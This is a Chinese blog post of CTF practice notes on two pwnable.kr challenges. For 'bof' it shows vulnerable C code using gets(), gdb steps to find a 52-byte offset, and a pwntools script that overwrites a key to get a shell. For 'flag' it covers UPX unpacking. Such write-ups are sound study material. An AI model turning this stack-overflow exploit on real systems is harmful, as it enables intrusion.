pwn 练习笔记 暑假的第一天

pwnable  bof

源码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;

}

看源码意思就是要比较key与0xcafebabe,然而在main中调用func时传入的参数是0xdeadbeef,目标就是覆盖0xdeadbeef为0xcafebabe,通过比较得到flag。gets使我们有可控输入,使用gdb查看0xdeadbeef与我们要输入的字符串之间的距离,然后覆盖。

使用checksec查看bof之后,发现

栈溢出保护,不可执行保护,地址随机保护,都有。一个菜鸡不知道怎么办,看了大佬的博客。然后发现没有任何一个地方提及,未解之谜从假期的第一天开始。

gdb打开调试,在main函数下断(b main)

然后run

在main函数停下,ni到 call func然后si进call

进到func函数之后,ni一直到call get,

然后x/40xw $esp,查看一下栈情况

我们输入的字符串从0xffffd21c开始。0xdeadbeef在0xffffd250之后,所以0xffffd250-0xffffd21c=52,我们需要覆盖52个字节

payload='a'*52 +p32(0xcafebabe)

脚本为下:

from pwn import *
sh = remote('pwnable.kr',9000)

key = 0xcafebabe
payload = 'A'*52 + p32(key)

sh.sendline(payload)

sh.interactive()

pwnable  flag

看见题的当时是蒙的,ida打开看发现有点诡异,看了别人的博客发现是upx压缩啦

upx -d flag -o flag1    解压之后,ida再打开看,看见flag这个变量,双击过去看,看到了给flag赋值,拿到flag

这个题的考点有点迷,

碎碎念
被期末考打断了之前的学习节奏,这让我很难受。所以今天练习点基础题找一下感觉,今日份的练习结束,开始复习(o(╥﹏╥)o)


猜你喜欢

转载自blog.csdn.net/qq_38783875/article/details/81027075